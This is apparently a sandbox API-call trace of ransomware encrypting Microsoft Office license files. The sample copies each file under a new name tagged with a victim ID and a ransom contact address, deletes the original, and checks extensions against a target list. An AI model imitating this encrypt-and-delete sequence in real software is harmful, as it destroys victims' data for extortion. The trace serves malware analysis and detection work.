	[0186.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0186.518] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=22400) returned 1
	[0186.518] CloseHandle (hObject=0x3f8) returned 1
	[0186.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms")) returned 0x220
	[0186.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0186.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0186.519] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.519] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0186.520] GetLastError () returned 0x0
	[0186.520] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x5780, lpOverlapped=0x0) returned 1
	[0186.522] WriteFile (in: hFile=0x390, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x5790, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x5790, lpOverlapped=0x0) returned 1
	[0186.523] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.523] WriteFile (in: hFile=0x390, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x110, lpOverlapped=0x0) returned 1
	[0186.524] SetEndOfFile (hFile=0x390) returned 1
	[0186.524] CloseHandle (hObject=0x390) returned 1
	[0186.524] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.524] SetEndOfFile (hFile=0x3f8) returned 1
	[0186.528] CloseHandle (hObject=0x3f8) returned 1
	[0186.528] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.528] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ppd.xrm-ms")) returned 1
	[0186.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0186.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0186.529] lstrlenW (lpString=".doc") returned 4
	[0186.529] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0186.529] lstrlenW (lpString=".docx") returned 5
	[0186.529] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0186.529] lstrlenW (lpString=".pdf") returned 4
	[0186.529] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0186.529] lstrlenW (lpString=".xls") returned 4
	[0186.529] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0186.529] lstrlenW (lpString=".xlsx") returned 5
	[0186.529] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0186.530] lstrlenW (lpString=".ppt") returned 4
	[0186.530] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0186.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0186.530] lstrlenW (lpString=".zip") returned 4
	[0186.530] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0186.530] lstrlenW (lpString=".rar") returned 4
	[0186.530] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0186.530] lstrlenW (lpString=".bz2") returned 4
	[0186.530] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0186.530] lstrlenW (lpString=".7z") returned 3
	[0186.530] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0186.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0186.530] lstrlenW (lpString=".dbf") returned 4
	[0186.530] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0186.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0186.530] lstrlenW (lpString=".1cd") returned 4
	[0186.530] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0186.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0186.530] lstrlenW (lpString=".jpg") returned 4
	[0186.530] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0186.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0186.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0186.530] lstrlenW (lpString=".doc") returned 4
	[0186.530] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0186.530] lstrlenW (lpString=".docx") returned 5
	[0186.530] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0186.530] lstrlenW (lpString=".pdf") returned 4
	[0186.530] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0186.530] lstrlenW (lpString=".xls") returned 4
	[0186.530] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0186.530] lstrlenW (lpString=".xlsx") returned 5
	[0186.530] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0186.530] lstrlenW (lpString=".ppt") returned 4
	[0186.530] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0186.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0186.530] lstrlenW (lpString=".zip") returned 4
	[0186.531] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0186.531] lstrlenW (lpString=".rar") returned 4
	[0186.531] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0186.531] lstrlenW (lpString=".bz2") returned 4
	[0186.531] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0186.531] lstrlenW (lpString=".7z") returned 3
	[0186.531] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0186.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0186.531] lstrlenW (lpString=".dbf") returned 4
	[0186.531] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0186.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0186.531] lstrlenW (lpString=".1cd") returned 4
	[0186.531] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0186.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ppd.xrm-ms") returned 80
	[0186.531] lstrlenW (lpString=".jpg") returned 4
	[0186.531] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0186.531] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0186.531] lstrlenW (lpString="O365BusinessR_Grace-ul-oob.xrm-ms") returned 33
	[0186.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0186.532] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11624) returned 1
	[0186.532] CloseHandle (hObject=0x3f8) returned 1
	[0186.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms")) returned 0x220
	[0186.532] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0186.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0186.533] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.533] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0186.534] GetLastError () returned 0x0
	[0186.534] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2d68, lpOverlapped=0x0) returned 1
	[0186.536] WriteFile (in: hFile=0x390, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0186.537] ReadFile (in: hFile=0x3f8, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0186.537] WriteFile (in: hFile=0x390, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x116, lpOverlapped=0x0) returned 1
	[0186.537] SetEndOfFile (hFile=0x390) returned 1
	[0186.537] CloseHandle (hObject=0x390) returned 1
	[0186.537] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0186.537] SetEndOfFile (hFile=0x3f8) returned 1
	[0186.540] CloseHandle (hObject=0x3f8) returned 1
	[0186.540] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0186.540] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_grace-ul-oob.xrm-ms")) returned 1
	[0186.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0186.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0186.541] lstrlenW (lpString=".doc") returned 4
	[0186.541] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0186.541] lstrlenW (lpString=".docx") returned 5
	[0186.541] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0186.541] lstrlenW (lpString=".pdf") returned 4
	[0186.541] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0186.541] lstrlenW (lpString=".xls") returned 4
	[0186.541] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0186.541] lstrlenW (lpString=".xlsx") returned 5
	[0186.541] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0186.541] lstrlenW (lpString=".ppt") returned 4
	[0186.541] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0186.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0186.541] lstrlenW (lpString=".zip") returned 4
	[0186.542] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0186.542] lstrlenW (lpString=".rar") returned 4
	[0186.542] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0186.542] lstrlenW (lpString=".bz2") returned 4
	[0186.542] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0186.542] lstrlenW (lpString=".7z") returned 3
	[0186.542] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0186.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0186.542] lstrlenW (lpString=".dbf") returned 4
	[0186.542] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0186.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0186.542] lstrlenW (lpString=".1cd") returned 4
	[0186.542] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0186.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0186.542] lstrlenW (lpString=".jpg") returned 4
	[0186.542] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0186.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0186.542] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0186.542] lstrlenW (lpString=".doc") returned 4
	[0186.542] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0186.542] lstrlenW (lpString=".docx") returned 5
	[0186.542] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0186.542] lstrlenW (lpString=".pdf") returned 4
	[0186.542] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0186.542] lstrlenW (lpString=".xls") returned 4
	[0186.542] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0186.649] lstrlenW (lpString=".xlsx") returned 5
	[0186.649] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0186.649] lstrlenW (lpString=".ppt") returned 4
	[0186.649] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0186.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0186.649] lstrlenW (lpString=".zip") returned 4
	[0186.649] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0186.649] lstrlenW (lpString=".rar") returned 4
	[0186.649] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0186.649] lstrlenW (lpString=".bz2") returned 4
	[0186.649] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0186.649] lstrlenW (lpString=".7z") returned 3
	[0186.649] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0186.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0186.650] lstrlenW (lpString=".dbf") returned 4
	[0186.650] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0186.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0186.650] lstrlenW (lpString=".1cd") returned 4
	[0186.650] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0186.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Grace-ul-oob.xrm-ms") returned 83
	[0186.650] lstrlenW (lpString=".jpg") returned 4
	[0186.650] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0186.650] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0186.650] lstrlenW (lpString="O365BusinessR_Subscription-pl.xrm-ms") returned 36
	[0186.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8
	[0187.000] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11195) returned 1
	[0187.000] CloseHandle (hObject=0x3f8) returned 1
	[0187.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms")) returned 0x220
	[0187.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310
	[0187.385] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.385] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540
	[0187.387] GetLastError () returned 0x0
	[0187.387] ReadFile (in: hFile=0x310, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0187.430] WriteFile (in: hFile=0x540, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0187.431] ReadFile (in: hFile=0x310, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.431] WriteFile (in: hFile=0x540, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0187.431] SetEndOfFile (hFile=0x540) returned 1
	[0187.432] CloseHandle (hObject=0x540) returned 1
	[0187.432] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.432] SetEndOfFile (hFile=0x310) returned 1
	[0187.435] CloseHandle (hObject=0x310) returned 1
	[0187.435] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.435] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365businessr_subscription-pl.xrm-ms")) returned 1
	[0187.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0187.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0187.437] lstrlenW (lpString=".doc") returned 4
	[0187.437] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.437] lstrlenW (lpString=".docx") returned 5
	[0187.437] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.437] lstrlenW (lpString=".pdf") returned 4
	[0187.437] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.437] lstrlenW (lpString=".xls") returned 4
	[0187.437] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.437] lstrlenW (lpString=".xlsx") returned 5
	[0187.437] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.437] lstrlenW (lpString=".ppt") returned 4
	[0187.437] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0187.437] lstrlenW (lpString=".zip") returned 4
	[0187.437] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.437] lstrlenW (lpString=".rar") returned 4
	[0187.437] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.437] lstrlenW (lpString=".bz2") returned 4
	[0187.437] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.437] lstrlenW (lpString=".7z") returned 3
	[0187.437] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0187.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0187.437] lstrlenW (lpString=".dbf") returned 4
	[0187.437] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0187.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0187.437] lstrlenW (lpString=".1cd") returned 4
	[0187.437] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0187.437] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0187.437] lstrlenW (lpString=".jpg") returned 4
	[0187.437] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0187.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0187.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0187.438] lstrlenW (lpString=".doc") returned 4
	[0187.438] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0187.438] lstrlenW (lpString=".docx") returned 5
	[0187.438] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0187.438] lstrlenW (lpString=".pdf") returned 4
	[0187.438] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0187.438] lstrlenW (lpString=".xls") returned 4
	[0187.438] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0187.438] lstrlenW (lpString=".xlsx") returned 5
	[0187.438] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0187.438] lstrlenW (lpString=".ppt") returned 4
	[0187.438] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0187.438] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365BusinessR_Subscription-pl.xrm-ms") returned 86
	[0187.438] lstrlenW (lpString=".zip") returned 4
	[0187.438] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0187.438] lstrlenW (lpString=".rar") returned 4
	[0187.438] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0187.438] lstrlenW (lpString=".bz2") returned 4
	[0187.438] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0187.438] lstrlenW (lpString=".7z") returned 3
	[0187.438] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
